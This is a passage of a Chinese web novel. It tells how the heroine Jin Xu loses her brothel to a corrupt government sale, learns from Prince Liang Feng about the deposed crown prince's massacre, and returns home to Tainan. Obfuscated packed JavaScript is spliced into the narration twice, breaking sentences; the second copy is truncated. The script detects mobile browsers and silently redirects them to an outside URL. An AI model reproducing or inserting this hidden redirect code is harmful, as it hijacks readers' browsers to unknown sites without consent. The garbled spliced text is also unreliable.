“这是咋了?!”火蓉环顾一圈,脚踩地面,“毯子都没了。” “是啊。”金絮语气凉凉,“留下的几件软榻案几都是馆里原本配置的,其余贾镇的东西全没了。” 火蓉看着她,“会是怎么回事?” “不知道。” 金絮站起来,凝眉沉思,“可能是贾镇犯了事,被人抄了?可这几日馆里一直被封着,没人能进来,只有梁风......”她闭眼揉眉,自言自语道:“我怎么感觉,有一件很危险的事情擦肩而过。” 就在她被抓走的前一天晚上,梁风还提醒她温柔馆不要卖给贾镇,言下之意是让她提防贾镇。 金絮感觉自己现在就像大海中的一块浮木,被浪打着走,不知道什么时候才能被打倒岸上去。 她叹气,“赶紧卖了吧。火蓉,将值点钱的拿走就好,其余的就留下吧。” “好。”火蓉再看一眼这屋内便出去了。 金絮本想自己找人搬运梁风房中的物件,转念一想,又担心找到的粗人容易不知讲究弄伤那些贵价的东西,还是先去梁府找了李管家。与老李一商量,老李便派了十几个仆从,带上车马,一同到温柔馆,将梁风房中所有的东西打包,运回他府上。 仆从忙忙碌碌,她让人备瓜果茶水,与老李同坐在厅堂一角闲聊谈天。 “絮姑娘是想将温柔馆卖给官府?”老李问她。 “嗯。” 老李抚须沉吟,“可惜可惜。” 金絮不失礼貌地微笑。 “那絮姑娘今后预备去往何处?” “四处走走。”金絮打马虎眼。 “公子尚在宫内,可能还需住几日,最近发生的事情,似乎让陛下很伤心。” 金絮继续笑着,不做评价。 一辆一辆满载的马车被拉走,馆外阳光逐渐刺眼,温柔馆最后一点金碧辉煌的地方也变得朴素空寂。 “絮姑娘,京师宅子不好找吧?” “嗯......找倒是不难,主要是颇费银子了些。” “哦,银子。”李管家捋一捋须,似是把原本想说的话咽了回去。 没一会儿,老李又问:“那絮姑娘打算住在何处?” “在别的地方有宅子,可住。” 问一句答一句,多余的话她不讲。 仆从过来告知东西搬好了,李管家起身微鞠躬,“那么打扰了。”金絮也回一礼。 目送梁府车马离去,馆里只剩下她一人,火蓉她们将东西送去客栈后就没有回来。金絮便直接去官府,与收验房契的官员上报了温柔馆的名字,得知她前面还有几人也在卖房,要到后日早晨才能轮到她。 这没法着急,她也算是在京城里被滞留了几年了,到此临走时不差这些天。与官员确认过具体时间和事宜,金絮回到客栈。 当夜睡后,她模模糊糊梦见自己七年前被人牙子卖到温柔馆的情形。 她在哭,徐娘拭去她脸上的血,告诉她,徐礼是个好孩子...... 她下意识一挥手,梦醒了,手挥到旁边一个东西。她吓一跳,定神瞧才发现是丽姬。 丽姬被她弄醒了,问她:“大半夜哭啥?还拽着我不放。” 金絮抹了抹脸,脸上干巴巴,道:“我梦见我被卖了。” 丽姬嘲笑她,金絮瞪回去。 早饭后,两人一同闲逛京城名景,去庙里烧了香,买了送给梁风的贵礼,在客栈与众姑娘大吃一顿。翌日一早便去温柔馆等待前来查验的官员。 近午时人来了。 验官有四人,金絮带他们入馆,四人散开各自查验。 桌椅、楼高、漆旧、墙筑,四人一边勘看一边拿笔记在本上。金絮在空桌磨墨,不时回答他们一些问题。 接着是庭院和寝楼,进寝楼之前,他们还让金絮先行查看一番,将女子隐私之物收收好才进去,金絮照做了。 全部看闭,金絮送四人离馆,临行前问一句:“各位大人,不知我这馆还算新?能卖多少银子?” 四人中为首的一人看着她,道:“我们只负责实地查看住宅新旧一类,至于值多少银子是由其他官员计量的。” “哦,原来是这样。”金絮收回目光。 另一人凑近低声告诉她,“放心吧,你馆这么大,又不旧,卖的肯定不会少。” 金絮陪上笑,“多谢大人告知。”心里却是记不得这四人从前有没有来过温柔馆吃花酒的。 目送他们离去,金絮想了一会,发现官府将卖宅这件事的每一个阶段都安排了不同的官员负责。 前天记名字的、今天看房的和算钱的都不是同一批人。 这样每批人做事的时候不是会很麻烦么。 金絮想不太明白官场之道,锁上门,回了客栈。 这天下午,与姑娘们从外面回来,在客栈里见到了小缃。 小缃在温柔馆被封了之后就不见了,现在回来了。 金絮看着小缃,笑道:“你来得正好,替我将这个交给王爷。”递过去一个蓝色碎花锦盒。 小缃接了,和她道:“公子托我给你带句话,希望您离京前能和他见上一面。” 金絮无所谓,“他在宫里的呢,要见面也得他能出来啊。” 小缃也住进了客栈里。金絮懒得管,随小缃去了。这两天还完成了一件事 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她不死心,对面前的人道:“大人,官老爷,您看您是不是弄错了?我来领的是温柔馆的银子,温、柔、馆,城西来福街第三号铺的温柔馆。” 看起来只有二十几岁的官老爷肃脸直视她,“没弄错,这就是你的!” 金絮还想再说什么,那官爷却一指廊角的一间房门,“想说理上那去。” 她有点意识到了是怎么回事。进入那房中,只见几个岁数不一的妇女和男子在骂骂咧咧,大声吼叫说要公道、当官的没人性。 两个年长的官员没什么表情地在上首坐着,旁边立着带刀护卫防止泼妇般的几人冲上去。 金絮看见其中一位头发带白的妇人,哭着申诉自己家里有几口人、日子过得有多难。 金絮无言看着,她也想哭。 上首的官拿出一份册子,说册子上写明了她们宅子每一处值多少钱,明码标价,还说官府绝不欺诈百姓。 金絮仔细看了看册子,每一项的确都与原先官府对外声称的价目差不多,但到最后却突然多出一项,并且仅凭这一项就将银子全扣了。这扣的一项说法很多:屋顶漏水、墙角裂痕、地皮翻掀。接着说是官府为了修补这些缺处所需甚大,因此修补的花费要由卖宅的人出一部分。 他们事先完全不曾提过修缮宅子的银钱要由卖房的人出,卖完了才多出这条款项,而且仅一项就扣了近乎全部的银子。 金絮回到领银子的年轻官员处,陪笑道:“大人,我不卖这房子了可以吗?您将房契还给我。”她说着,伸出五枚铜板。 那官员眉头一皱,“已经卖了的东西哪有再讨回去的道理?要么别卖,卖了你就认命吧,走走走!” 金絮一口气哽得不上不下,后背已好全的鞭伤仿佛疼了起来,一针一针疼得要刺穿胸口。 回到铺子里,她气得一天没吃下饭。 官府还以卖宅振捐旱灾流民的名义赏了她一块劣质牌匾,匾上毛笔题就三字——大善人。 她一气之下,把牌匾往地上一磕,匾直接断成两截。 “徐娘当初把温柔馆给我,要我照顾徐礼......” 金絮躺在通铺上怔怔地瞪着眼睛不知看了哪里,“我没脸去见徐礼了,徐礼要娶媳妇的......” 大厢端粥碗立在一旁,“阿絮姐,你先吃点东西吧。” “徐娘说,这馆要用来给徐礼成亲的......” “徐礼没爹没娘,现在连......”金絮说不下去了。 19. 三问 她七年前入馆,老鸨做了五年,最后落了个五枚铜板。 一年一枚。 这五年里,她老实本分,不管官府收的税银有多夸张,她都按时按数上交,做尽了老百姓的份内事,一丝一毫逾距的念头都不曾有......可能也有过,但都被她掐灭了。 就连在馆里,不管遇到身份多高的官员她都没想过攀交,而现在告诉她,老实本分的下场就是被当官的盘剥。 金絮躺在床上蹬腿大喊:“该死的官!天杀的狗皇帝!枉做高位!” 她无力地喊着,大厢将粥勺递到她嘴边,她撇开头去。 火蓉和丽姬去找官府申诉还未回。 金絮想哭,但又哭不出来,等待中慢慢睡了过去。但睡得不深,脑子里仿佛还在迷迷糊糊地想有什么门径可以让她把银子拿回来。没多久,耳边有点吵,她似乎被人扶起来,嘴里被喂进了一点流水,肚子里一暖,彻底睡着了。 醒来时天还没亮,窗边没有月光,另外四人睡在她两旁,她悄悄下床,灌了几口水,下楼摸黑走出了铺子。 青墨的天空将亮,没有星星,没有雾气,呼吸得很清爽。差一刻钟左右宵禁就结束了,这个时辰街上逡巡的城防军回了营,不怕犯禁。铺子门前是城内河,河岸有柳,金絮踩着石砖,坐到岸边一张石凳上。 目下四静,清晨的风拂过,柳枝微摆,金絮张嘴喝风,心里想着,八月的风不是西北风。 下一回喝的说不定就是西北风了。 没有烛火的街头很暗,黑河不映天,也无景致可赏,但就只有此时的京城才没那么喧嚣,没那么繁华,也没那么多的起落。 天将完全亮时周围突然响起马蹄声,响在她身后,急匆匆地往她的方向踏来。 金絮生怕是城防军还在抓宵禁,忙起身想躲,一扭头,却愣住了。 马上的人是梁风。 梁风官服未换,看见她,于几步外下马,向她走来,“我一出宫便赶来找你,生怕你走了,幸好你还未走。” 上次见到他还是她被廷尉抓走的时候,如今再见,看他像是看着朝廷与帝王的象征。她心里有团火,于是就地跪下,双手、额头触地,恭敬道:“民女参见安分王殿下。民女并非有意触犯宵禁,望王爷恕罪。” 周围静了一瞬。 大风吹过,扯动寂窒的空气。她呼出的气吹动砖缝的细砂。一只手抓住了她的手腕,将她牵站起来。金絮听见梁风有些不满道:“你这是做什么?” 金絮低着头,恭敬地不敢看他。 “你抬头看我。” 金絮抬起头,看见他面有焦急和怒意。 “你同我好好说话。”他抓着她手腕的手紧了几分。 “民女不敢。”金絮谦逊低头。 “你......” 他深深吸了一口气,步子往旁一跨,把另只手搂着的蓝色碎花长盒子放到石凳上,开始解腰带。 金絮大惊,“王爷这是要做什么?” 梁风利落地将官服脱下,露出中衣,瞪着她,“你好好同我说话。” 金絮想阻止他脱衣的手一顿,收回来,低头不语。 他抓住她的手腕,“我不是说了我一出宫就来找你的吗,生怕你走了,没工夫回府换衣裳。” 他的语气是真的有点急了,金絮只好道:“王爷,无关衣裳,这里不是温柔馆。您是官,您是王爷。” 手腕被他抓痛了,金絮不吭声,忍耐他的怒火。 “那好啊,本王命令你,在安分王府好好待着,没本王允许不得擅自离京。”梁风说罢,强拉她向马匹走去。 金絮睁眼固执地盯住自己的手,一声不吭。 “牵马。”他下令。 金絮不动。 “本王的命令不听了?” 金絮还是不动。 良久,她才小声地说一句:“我不去安分王府。” “抬头看我。” 金絮再次抬起头,直视梁风的双眼,她不知道自己此刻是个怎样的表情,但是听得出梁风放缓了声音: “你应该怎么同我说话?” 金絮垂下视线,感觉喉咙很干涩,咽了咽道:“梁公子。” 手腕的力度骤然放松,却未完全放开,他抓着她的手摩挲了下手指,复又松松握住。 “非要让我生气。” 金絮不语。梁风牵她回到石凳,拿起外袍穿上,金絮帮他把头发扯出来。 梁风一指旁边的蓝色碎花长盒,道:“这个拿回去,本王的喜好有这么俗气?” 金絮看了一眼,是她让小缃送给他的谢礼,一支玉如意。 贵得很,他却嫌俗气。 金絮抱起来道:“以后有机会,送你个不俗气的。” 梁风笑了一下,似乎心情好了些,他问:“你如今住在哪儿?” 她不答,若是不知道,那他怎么找过来的。 他接着说:“我给你安排宅子。” “不用,我有。” “是在太南郡吗?” 金絮不想回答这个问题,反问:“雪姬的事情是怎么回事?” 他又笑了一下,似乎心情更好了,捏住她的手腕,“想知道?” 金絮眼神一瘪,扭开头,故作道:“你不说也行。” 梁风牵着她坐下,轻风吹过二人身畔,天完全亮了。 “雪姬是被太子利用了。”他道。 “我查的案子是当年宁安县被屠一案。那一年我带兵去往西南剿匪,当时随行的是废太子和三皇子。剿匪途中,废太子发觉自己俘获的山匪人数不如与棣多,于是脱离我的授令,独自去往位于边境的宁安县,杀死了宁安县所有人凑数。” 她心底一震,不可思议看着他,“希望自己杀的人头多一点?” 他颔首,“不仅如此。那些年军队缺人,皇帝对于剿匪一直都是招安收服的态度,从来不是剿杀。废太子这行为不仅是草菅人命,还是违抗旨意,蒙蔽圣听。” 那一天,雪姬正好外出躲过一劫。 “雪姬是破这起案子的关键。她当初抵达京城时,身上是不是带着块旗布?” 这么一说,金絮想起来,雪姬身上是有一块黑红色的布。后来没多久雪姬就烧了,她当时还以为那是亲人的遗物,雪姬烧了是愿意放下过去,重新开始。 “那块旗布是当年太子的军旗,雪姬一到京城,逢人就打听认不认得那旗上的花纹,她太过招摇,让太子知道了。太子便利用她,骗她那旗是三皇子的军旗,三皇子是她的仇人。于是雪姬在太子的步步帮助下,接近了三皇子。临到刺杀的一刻,她或许是心软,或许是意识到她真正的仇人并非三皇子,因此失了手。” 微明天空下街色冷冷寂寂,金絮面无表情,“早该被废。没死吗?” “没死,皇帝留了废太子一命。”梁风继续说:“本来这案子是由丞相长史手下的人查的,他隐约查到了太子的所作所为,不敢招惹,于是停止查案,日日流连秦楼楚馆,希望能避开太子耳目。” “事后我怀疑,长史的死可能是三皇子干的,因为长史一死,丞相征事自然升迁,而征事是三皇子的人,三皇子可能也知道了宁安县是太子的把柄。而且相府调查长史之死时,曾遇到过受三皇子的人挑拨而到相府门前闹事的家属。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839754|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “冯棹台向皇帝举荐由我来查此案,皇帝同意了,并让我表面上查京官贪腐一案做掩饰。” “我肃贪肃到了贾镇头上,”梁风说着,微微一顿,“贾镇是三皇子的人。” 金絮愣住。 “贾镇这些年在江湖各地给三皇子收集情报,而三皇子则帮贾镇走漏了许多批货物的税。贾镇发现我在查,于是想赶紧处理最近运到京城的一批货,这批货物的税相府没有记录,他便盯上了温柔馆,想借你馆中那口池子埋货。他埋货那晚,被我当场抓住。” 清晨的阳光亮起,街上一两个行人,几家店铺开门准备做生意。 金絮看着梁风,阳光给他眉眼镀上一层金絮。 她道:“你们这些人夺权能不能离百姓远一点?” “我没有。这些人里不包括我。” 不应他这话,金絮想抽回手,抽不出来,耐心渐失,“你总抓着我干什么?放手。” “不抓住你就跑了。” 她哼一声。 “为什么不让小缃跟在身边?” “你又为什么非要安排个人跟在我身边?” 梁风凝视住她,张嘴还未说话,金絮抢一步道:“要是你身边有个人长久地监视你,你会乐意?你会开心?你要是不会就别再盯着我了。” 他眉头一皱,手指又捏紧,“你冲我生气做什么?” 金絮一顿,撇开头,梁风拉手将她转回去面对他,“不盯便不盯了,我不让小缃跟在你身边就是了。”他接着问:“你这趟去太南会去多久?何时回京?” “玩得开心的话就不来了。还有,我来京城叫‘去’,不叫‘回’。”她语气有些不悦。 梁风眉头再一皱,有什么话想说,金絮等着,他却没说,反而放开了她的手。 金絮揉揉手腕,抱住盒子看着长街。 梁风语气平静,“你同我气什么?” “我没有生气。”她道。 “发生了何事?” “没发生什么。” “雪姬影响到你了?” “没有。”金絮冷冷淡淡。 “你觉得雪姬怎样?” “什么怎样?” “她想给她家人报仇这件事。” 说着又想伸手抓她,金絮不耐躲开,眼睛直视住他,“挺好的啊,随心所欲,想做什么做什么。” 他眉头深皱,眼神反抓住她,语气严厉起来,“你现在缺人管着了?” “不缺,从来不缺。”金絮冷冷地站起来,恭敬道:“时辰不早了,梁公子该回府了。” “赶我?”他再次想拉她。 “不敢。”她侧身躲过。 他道:“你那胭脂铺子不需要我照顾生意吗?” 金絮没料到他会这么说,意识到他这是在提醒自己,垂首道:“多谢梁公子,但是不劳烦您了,她们应该学着靠自己。” 她真诚道:“这些年多谢梁公子的照拂。” 梁风皱着眉,却没生气,“你想谢我,却是连在气什么都不愿意告诉我。” 金絮心中默叹,呼吸跟着风吹起的柳叶一起一落。 “没气什么的。”她将怀里的玉如意伸出去一点,“我送你这个,你又不要。” 梁风轻轻一哼,“敷衍。” 金絮不说话。 梁风站起了身,走向马匹,一步跨上。金絮替他将绳子解开。 他低头俯看她道:“我希望很多事情能听你亲口告诉我。” 金絮仰头望他,仔细看他逆光中的脸,最后只说: “王爷保重。” 梁风策马而去。 20. 出笼 金絮回到铺子里,坐在窗下,打开盒子。静静安放的血如意通体鲜艳,异常润泽。她的视线没有过多停留,看向盒中另外两物。 一物是他之前给她的掌葫上等钱令,她本想这次一道还回去的,结果被他原样送了回来。 这还是子令。 她看了看,再拿起另一物,是她在梁风别邸养伤时由李婶代写给他的字条。字条上全是她表示感谢的客套之辞,但是末底多了一行字,不是她写的,却是他的字迹,写着: “我已找回《红叶书》。” 金絮将这七字反复读了几遍再折好连同钱令收入怀中,盖上盒子,出门去给姑娘们买早饭。 她与梁风相识十年,最初认识他时,她还不在京城,在太南,与他有些书信来往。后来,她被卖到温柔馆,本以为就此跟他断了联系,结果没想到,他成了温柔馆最重要的来客之一。 金絮虽说不接客,却总被梁风叫去陪酒,久而久之,其他客人也就跟着点她陪酒,甚至要求陪去房间里,她不乐意,退却了所有人要她作陪的要求。隔日,梁风便强硬地指定一间厢房做他的专属房间,让她在房间里陪他。 他拿身份压人,金絮没办法,只好给他划分出来一间,却惯得他越来越拿温柔馆当家,导致之后有更多的客人学着他也在温柔馆买下了一间房。 金絮不喜欢自己生意被旁人这样插手,即便她一再严格地强调“馆内无官,来客无差”这样的规矩,也还是忍不住在他的身份面前低下了头。 如今就好,没了温柔馆,断个干净。 她不喜欢自己接触朝廷上那些人。 吃过早饭姑娘们也起了。火蓉告诉她:“我们昨天本来没能进去府衙的,是丽姬在门口装哭诋毁官府,吸引行人,然后才放我们进去。刚开始脸色还好,慢慢地就不耐烦了,我们说话,他们要么不听,要么找借口说是我们的错,接着就把我们赶出来了。” “阿絮姐,怎么办?” 金絮出神地看着窗景,“没法办,无权无钱无靠山,就这样吧。我不想再欠梁公子人情了。” 她看着另外三人,“倒是你们,还有水夭她们,你们以后在京城要怎么办呢?” 大厢与火蓉、化莲对视一眼道:“我们不做大生意,就做点小买卖,够糊口就好,不和别人争。” 金絮点头一笑,“不争就好,京城生存不易。那你们忙吧,我出去看看近期有没有去太南的商队。” “我和你去。”丽姬跟住她。 街上的铺面差不多都开了,日头也大起来。两人到南市打听出最近去太南的商队要七日后才出发。倒也不算久,金絮找到那商队大当家,得知入队银钱是每人一匹马、一袋粮和一两银子。 “这么贵?”丽姬瞪眼。 “嫌贵就滚!”大当家毫无耐心。 金絮只能好言安抚,又问大当家队内有哪些成员和其他详细事宜,都一一得到解答。 “我和你一块去。”丽姬突然跟她说道。 金絮一愣,“你要跟我去太南?” “嗯,我怕你想不开。” “......哪至于。” 同大当家言定入队,金絮和丽姬离开。 天际有凉风吹来,拂过城墙大地,拂过她。街上行人匆匆,各自忙碌着生计,金絮觉得自己这辈子都会跟京城合不来。 “就这样吧。” 她对京城始终一点好感都没有。 二人接着去脂粉铺子买了些香粉和做胭脂的模具,到家时,大厢几人正在商量胭脂铺应该取什么名字好。大厢说从诗文中挑两个文雅点的字,火蓉说直接用姓氏作名。金絮不插话地旁听。 几番争论后,决定以姓氏起名,但到底以哪个姓氏作名又起一番争论。夕阳落下时,最终定名为:温记香铺。 而后几天,金絮几乎没有离开过铺子,一直帮着大厢打理开张事宜。 只是过了两日,京城内走了一个不知真假的消息。 太子被废了。 这对于寻常百姓来说不算什么大事,只是个茶余饭后就着瓜子皮吐出来的八卦谈资。但毕竟是帝王家务事,听着新鲜,寻常百姓闲着随便唠唠也能过过嘴瘾。金絮便也拿着瓜子、牵着丽姬一块去酒楼茶馆听了两日八卦,期间还遇到了馆里的常客同她打招呼,并代问水夭好。 宫里很快下了旨令,严禁任何人谈论太子事宜,违者,杀无赦。金絮才知道,太子真的被废了。 金絮觉得好笑,帝王家务事也是家丑,不可外扬,可是已经发生了堵民众的嘴又有什么用。 待一切落定,化莲也调出了第一批香后,金絮和丽姬也到了跟商队离开的日子。 办好文凭路引,购妥商队所需,金絮还额外买了几枚指甲盖大小的薄刀片和信号弹,以防路上遇到不测,刀片可以防身,信号弹可以吓唬对方。最后再跟姑娘们吃了一顿简单的散伙饭,隔日便准备踏上返回太南的路途。 她加入的这个商队的目的地是南边的一座县城,途径太南,以队里全是男人的脚程算,约莫五日就能到达南州。如果没有丽姬的话,金絮会挑个有妇孺的搬迁旅队,慢很多,但路上会安全点。现在有了丽姬,她与丽姬可以相互打掩护,即便全队是男子,也能够安全许多。 出发前,她特意告知大当家,她此去太南是投奔亲属,约定好要在五日内到达,希望大当家这一路能以尽量快的脚程赶路,并多给了一些报酬。 丽姬有些不开心,觉得破费了银子,但金絮不觉得,她主要出于安全考虑,万一这一队伍的男人把她俩拐入某个深山老林里卖了或奸了,她们连反抗都做不到。 金絮还写了一封信,附上商队名称、队内人员姓名与此行路线,寄给了住在她太南宅子里的徐礼,还另外嘱咐了大厢,如果十日内大厢在京城这边没有收到她安全抵达后寄来的信件,便去报官。 做好这几手准备,金絮安心地踏上返乡之途。 一路上,她与丽姬在夜晚时轮流睡觉,互相监视,这让丽姬更加不开心了。 丽姬除了吃,最在乎的就是睡。 “怕什么,他们要真想奸,就让他们奸我,不奸你。” “瞎说什么呢。”金絮瞪过去,躲着那十几个男人道:“这是犯大周律的,什么只奸你,不奸我,这里又不是温柔馆了,你更不是妓,干什么这样说。” 丽姬不屑地撇撇嘴,却也不再说什么了。 更何况,他们要奸又怎么可能只奸一人。金絮提前将她二人值钱的东西和取钱令同织物托掌葫钱庄的信使一起寄去了太南,随身只有几册书卷和几十文钱。除了色,没有财好劫的。 “至少农家景致还不错。” 在某处村子借宿歇脚时,丽姬看着田野道。 两人并肩而立,夕阳余晖,稻覆金色,一派悠闲静好。 “有想过以后住在乡下么?” 金絮摇摇头,“不会种菜。” “那也是。” 丽姬返屋吃饭去了,金絮留下目送夕阳,看小鸟披着余晖归巢,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她有些跃跃欲试,之前打听江湖上的事情还是在温柔馆的时候,听往来歇脚的客商们说起。她固然内心憧憬,但也知道单凭自己是不可能在尔虞我诈、充满腥风血雨的江湖中生存下去的,以后有闲暇和闲钱,顶多游山玩水,不会掺和江湖斗争,她本身也不是江湖人。 但游山玩水的逍遥日子还是令她十分期待。 怀着这份期待的心情,终于在第五日入夜前看见了太南郡城门。 前两年听闻太南战后重建得差不多了,她忙带着徐礼几人从京城赶来,托人上下打点关系才好不容易买了座宅子,作为自己的后路。之后两年不曾回来过,加之太南大变样,她此刻不免有些担心进城后会找不到回去的路。 交过文凭路引,穿过城门高阔的阴影,就见街上人流如织,大当家放慢步子找寻可容商队过宿的客栈,金絮和丽姬也收拾好东西准备下车,忽听路边一声呼喊:“阿絮!” 她下意识应声抬头,就见一青年男子在路边高挥单手向她们示意奔来。丽姬惊喜道:“徐礼!” 金絮愣了愣,差点没认出来,两年未见,徐礼模样更俊、身材更挺拔了,一身麻衣踏实朴素,消去了小时候在温柔馆沾上的风尘气息。 她笑了笑,与商队人作别,迎上徐礼。丽姬上下打量他道:“长高了嘛,这都比我还高了。” 徐礼笑一笑,拿过她二人的包袱。金絮道:“我信上不是说不用来接吗,我拿不准抵达的时辰, 要是再晚些到就宿在城外了。” “柔竹担心你们,怕你们到了以后不认路,我便想来接一接,正好遇上了。”徐礼道:“先回去吧,马上宵禁了。” “柔竹呢?”丽姬问。 “她在家做饭呢。” “那我们快回去!” 21. 徐礼 天色暗下来,丽姬打头前奔。穿过几条街,再拐入一条巷子,走到这,金絮能认路了。 万家灯火点燃,空中炊烟暖香,金絮感受这不同于京城的沉静,终于有回到家的感觉。 三人前脚踏进门,后脚街鼓就响起来了。 她这宅子地处较偏,一进院落,广三间,深两间,天井西南角有棵银桂,正值花期,浓香远溢。 五年前,温柔馆前馆主徐娘去世并将唯一的儿子托付给她,那一年她还捡到了无家可归的柔竹。温柔馆生意步入正轨后,她就买下了这座宅子,让徐礼和柔竹住在这,安心读书,远离风尘。 金絮松了口气,身体渐渐返上来舟车劳顿,麻麻的,丽姬却显得很兴奋,“厨房在那儿呢?先吃饭。” 徐礼落锁,“右侧亮灯的那处。”他点亮挂门沿的灯笼,“丽姬你小心些,莫跌了。” 声响传入屋中,厨房门口探出一个小脑袋。 柔竹看见丽姬和金絮立刻惊喜满脸,“丽姬姐,阿絮姐,你们回来了。”说着便跑来。 金絮只感觉怀中冲入一团烟火气,闻见柔竹身上沾了点做饭时的油烟味,她笑道:“柔竹,你也长高了。” 柔竹嘻嘻一笑,蓦地脸色一变,将金絮双手打开察看,“大厢姐寄来的信说你受了刑?现在怎样了?” “大厢还给你写了信?”金絮诧异道。 徐礼道:“是啊,大厢猜到你有些事情自己不会在信里说的。” “这样啊。”金絮有些不好意思,“小伤啦,你看,已经好了。” 柔竹神色没放松,又想起了什么,一拍脑袋,“你们回来了,我赶紧多准备两个菜。”急急忙忙小跑进厨。 这小姑娘好像变毛躁了。金絮看着柔竹背影若有所思,反而是徐礼看着稳重了许多。 她和徐礼也迈进屋,灶边的榻上已摆了三个菜。丽姬准备就绪地坐着,徐礼盛上饭,金絮道:“柔竹你别忙了,先一块吃饭吧,这都够吃了。” “很快的,阿絮姐,”柔竹打开锅盖,顿时香溢。丽姬循着香味飘去往锅里一瞅,眼睛顿时直了,“肘子!” 柔竹笑道:“知道丽姬姐你喜欢,我特意提前炖好的,热一下就好,味没那么浓,不辣,阿絮姐也能吃。” “快快快!我这几天就没见过带油水的。” 柔竹还做了道烧鱼,丽姬夹了一筷子赞道:“徐礼这两年享了个大口福啊。” 金絮不拘礼,席上也没有长辈,便不讲究食不言和男女分席,她边吃边道:“这两年过得怎么样?银子够用吧?” “够用。”柔竹道:“我们把这屋子大致修缮了一遍,添置了许多东西,银子还有余呢。” “那就好。” 四人专心吃饭,金絮还有些话想说,但看了看徐礼和柔竹两人互相夹菜、偷偷对视,最终没有说,扒了两口饭后还是问:“大厢信里还跟你说了什么?” 柔竹眨眨大眼睛,“没说什么了,说她们那边一切都好,让我好好照顾你们,还问我们如今过得怎么样,我白日里回了信去了。” 金絮了然地点头,她也没在信里说温柔馆卖了五文钱的事,估计大厢是想等她自己说吧。 饭后,一起在厨房洗了碗,金絮帮着柔竹放洗澡水烧着,等待期间柔竹带她到她的卧房去。堂屋后有两间卧房,一正一偏,她的是正间。房间两角亮着灯,不大,从南到北约七八步,从西到东约四五步,床合墙角,另一壁有书架、衣柜和妆台,客榻上架着大大的案几,只放着一袋她寄来的包袱。余下空隙不多,但够住了,书房和卧房合一正贴她心意。 “不错,挺好的。”金絮在榻位坐下,对面是扇窗,窗外黑漆漆。 “早上收到你的信,我就让阿礼特意去买了这张案几,再把房间打扫出来。”柔竹道:“四宝要去城西的钱记铺子里卖的才好,但是太远了,今日就没来得及去买,只能明日再去了。” “不着急。”金絮拆包袱,一一清点,包袱有点大,她所有的衣物、饰品和其他物事全在里面,无一丢失。 “那我再去看看丽姬姐那边。” “好。” 金絮打开一个比巴掌略大的木盒,木盒有锁,钥匙她随身带着。盒中是一些珠宝首饰,两块取钱令和房契之类。 她带走的首饰不多,其余基本都留给了大厢和水夭她们,连那支血如意她都留在了大厢铺子里。 合上锁,金絮在屋子里转转,柔竹很细心,台面都没有落灰,床也铺妥了。她将衣物收拾好,昏暗的烛光下,连积五日的疲累涌上来,金絮盯着那床,深吸几口气后,还是决定先去洗澡。 经过院子时听见刷刷声,金絮定睛一瞧,见居然是丽姬在跳剑舞,柔竹居然连软剑都给丽姬准备了。 金絮在廊下摸黑欣赏一会儿,感叹她真是有精力。 丽姬的剑舞和火蓉的不一样,火蓉更具美感,丽姬就总喜欢把剑舞跳成是在舞剑,试图舞出男子那种力量感,但每每不得章法。 “天黑就别跳了,小心摔了。” 丽姬剑尖指过来,抬起下巴,“我第一次跳?能摔吗?小看我?” “不敢不敢。”金絮敷衍道:“水烧好了,洗澡吗?” 丽姬伸个懒腰,“洗吧,早点睡。” “在温柔馆倒是看不出来你精力这么好。” 丽姬斜睨她,“你当然看不出来,在温柔馆能体现我精力的地方只有床上。” “......”金絮努力兜住表情,食指戳戳丽姬的腰,“出了温柔馆,常挂嘴上的话就要改改,以后不许说这些词,‘床上’之类的。” 丽姬不屑地哼一声,“那你也别懂得这么快。” 金絮眨了眨眼,好像也是,从青楼里带出来的一些习惯得花时间好好改改了。 洗完澡,祛了些疲劳,金絮躺在床榻上,床头点支蜡烛,习惯睡前看会书。 书架放了几册小说话本、儒学典籍之类,她取一本《孟子》,闲闲地翻着,看见那一句“民为贵,社稷次之,君为轻”时忍不住不耐地打了个哈欠,将书一撂,熄灯睡觉。 半夜睁了次眼,漆黑间尚需反应一会儿才知道自己身处何处。醒时看天色似乎是辰正,躺着伸个懒腰,金絮掀被下榻,打开窗,窗外是面缝里生了杂草的墙,景致一般。洗漱后出去院子又看见丽姬在树旁舞剑。银桂花瓣纷纷下,树下放了两个框接花瓣。 “阿絮姐,起了就用早饭吧。”厨房传出柔竹的声音。 金絮走进问道:“徐礼呢?” “他在房里呢。”柔竹给她端来一碗粥。 吃饱喝足,金絮清清爽爽站在院中,昨夜回来太黑了,现在才能好好打量她这房子。 院形方正,二十步左右,除了银桂没旁的花草,只树下放了一套石桌凳。左厢有两间客房,住着柔竹和丽姬;右厢是厨房和杂物间。房子整体墙色较黑,但无剥落;瓦片略显破裂,好在尚算整齐;门扉开关有嘎吱声,也有厚灰和蛛网,木质看着还算好,一段时间不至于坏掉。 金絮本打算回来后仔细修缮一番的,将屋瓦、墙筑全部刷新一遍,但这样看,虽然每处地方都显得略旧,但又似乎不是很有修缮的必要。 “丽姬,”她扭头看坐在院角石凳休息的丽姬,“昨晚睡得如何?” “还行,”丽姬停一会,接着说:“但比不上温柔馆。” 金絮颔首收回目光,看向屋顶,高楼大馆与土木瓦屋之间巨大的落差暴露在平等照耀着人们的阳光之下。比不上温柔馆是肯定的,温柔馆怎么说也是给达官贵人享乐的地方,姑娘们住的自然也不差。 “你看有什么要添的么?” 丽姬走过来,“床板硬了点。” 金絮同意,她昨晚感觉也硬了点,要不是太累,可能入睡就没那么快。 “待会陪我出去采买些东西。” “行。”丽姬脸上莹莹薄汗泛着光,回屋放剑。 金絮朝另一屋喊:“柔竹,我们出趟门,要不要帮你带什么?” 柔竹露出脑袋,想了一想道:“盐快吃完了。” 金絮收到,便与丽姬一同出门。 